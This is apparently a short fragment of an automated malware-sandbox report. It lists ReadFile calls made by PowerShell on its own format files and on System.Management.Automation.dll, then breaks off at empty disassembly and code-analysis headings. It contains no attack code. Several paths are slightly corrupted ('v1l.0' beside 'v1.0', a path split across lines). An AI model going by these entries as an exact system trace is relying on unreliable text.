C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1l.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1l.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1l.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEEA2769DF unknown

0.0.0__31bf3856ad364e35\System.Management.Automation.dll

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEEA2769DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll

Disassembly

Code Analysis
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